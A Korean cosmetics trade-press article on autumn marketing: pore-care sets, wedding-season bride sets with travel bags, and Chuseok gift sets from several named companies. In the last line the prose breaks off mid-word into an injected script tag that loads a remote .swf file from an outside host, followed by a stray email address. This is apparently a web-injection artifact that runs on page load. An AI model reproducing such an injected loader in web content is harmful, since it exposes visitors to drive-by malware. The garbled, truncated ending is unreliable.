주력 제품을 세트화해 가을 시장을 노려라
오마샤리프화장품은 ‘아델리움 포어 디미니쉬 세럼 Ⅰ, Ⅱ’로 세트를 구성했다. 특히 이 제품은 모공 관리 제품으로 가을철 여심을 잡기 위해 마련됐다. 그리고 세트의 판매 증대를 위해 대대적인 샘플링을 실시한다. 실 구매 소비자가 밀집한 지역을 구분해 유동인구가 많은 대학로, 명동, 이대 앞, 신촌 등의 지역을 중심으로 가두 캠페인을 펼치며, 모공관리에 관심이 많은 소비자를 잡기 위해 주니어, 여성지 등에 인쇄광고와 프로모션을 진행할 계획이다.
청호나이스화장품 역시 가을, 겨울철 피부관리를 효과적으로 할 수 있는 ‘에체 비비 모이스춰라이징 라인’을 출시했다. 에뛰드와 베네통은 색조화장이 많아지는 가을, 매출 증대를 위한 메이크업 베이스 기획세트를 마련했다.
또한 잎스코스메틱은 건성과 지성 타입별로 엔클라인 세트 라인을 준비했다. 한편 쿠지는 남성을 위한 ‘쿠지 플래티늄 퓨어 옴므’세트로, 보브는 20대의 민감하고 건조한 피부의 여성을 위한 ‘보브 엔뷰 모이스처 스킨 케어 3종’세트로 가을 시장을 노리고 있다.
결혼시즌 신부세트로 공략하라
가을 웨딩시즌을 맞아 나드리화장품은 기초제품부터 색조제품, 그리고 클렌징 제품까지 구성하고 고급 기내용 여행용 가방을 증정하는 등 가을철 기획 신부세트로 신부들의 마음을 사로잡고 있다. 특히 폼 클렌징, 클렌징 크림 등의 클렌징 제품과 눈가전용 아이크림 및 외부활동에 따른 자외선 차단제품 및 보습전용 에센스 등 상황에 따른 기초제품을 신부세트로 구성하고 있다. 여행용 가방을 포함한 메소니에 신부세트 가격은 약 4십만원대이다.
라미화장품 역시 신부세트를 구성해 인기를 끌고 있다. 라미화장품의 신부세트는 두 종류로 나뉜다. 우선 일반 화장품으로 구성된 세트는 예비신부를 위한 제품으로 구성돼 있다. 또한 두 번째 세트는 링클제품 위주로 이루어져 있다. 이 두 기획세트 역시 여행용 가방을 포장으로 이용, 신혼여행 시 사용할 수 있도록 했다.
추석 특수, 선물세트로 매출 확대 기대
요즘 침체된 장업계에 추석 특수는 새로운 바람이 될 것으로 기대된다. 이에 각 사들은 추석선물세트를 내놓고 활발하게 마케팅 활동을 펼쳐 매출 증대를 노린다.
차별화된 증정품으로
유니코스는 추석선물세트로 ‘피에르가르뎅 아로마 릴랙스 3종 세트’를 출시하고, 고급거울을 내장했다. 특히 고급스러운 내장품과 판촉물을 특화함으로써 전문점, 대리점의 판매활성화를 도모할 예정이다. 나드리화장품은 주력브랜드인 메소니에를 비롯해 멜 브랜드, 상황, 청주바디케어, 남성용 딘클라우 등의 선물세트를 선보였다. 특히 멜 브랜드에는 미니 용량의 멜 청주 폼클렌저 미니어쳐를 내장해 추석의 의미를 더욱 배가시키고 있다.
특정 소비자층에게
패션코스메틱은 30대 이후 여성을 타깃으로 하고 이들을 위한 추석감사 선물세트를 준비했다. 이에 30대 이후 여성들에게 제품의 감사 메시지를 전달할 수 있도록 영업활동에 힘쓰고 있다. 애경산업은 20대 여성을 위한 피부카운슬링 및 컨설팅을 통해 소비자 피부에 가장 적합한 맞춤형 선물세트를 특별제작, 판매하며 전문점 영업을 강화하기 위해 20만원에서 30만원대의 세트 패키지를 특별 제작하고, 생활소품을 판촉상품으로 지원한다. 한편 프로랑스화장품은 스킨, 로션과 미니어처 2종으로 구성된, 남성을 위한 추석선물세트를 마련했으며 한불화장품은 20대 여성을 위한 경제적인 선물세트를 선보였다.
다양한 세트와 가격대로 구성
에스까다코스메틱은 하이드로 수딩 2종세트, 탄력 프로그램 2종세트, 보습 프로그램 3종세트를 추석선물세트로 내놓고 이의 매출 증대를 위해 영업조직의 결속력을 강화한다. 또한 세트 제품을 ‘탄?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr
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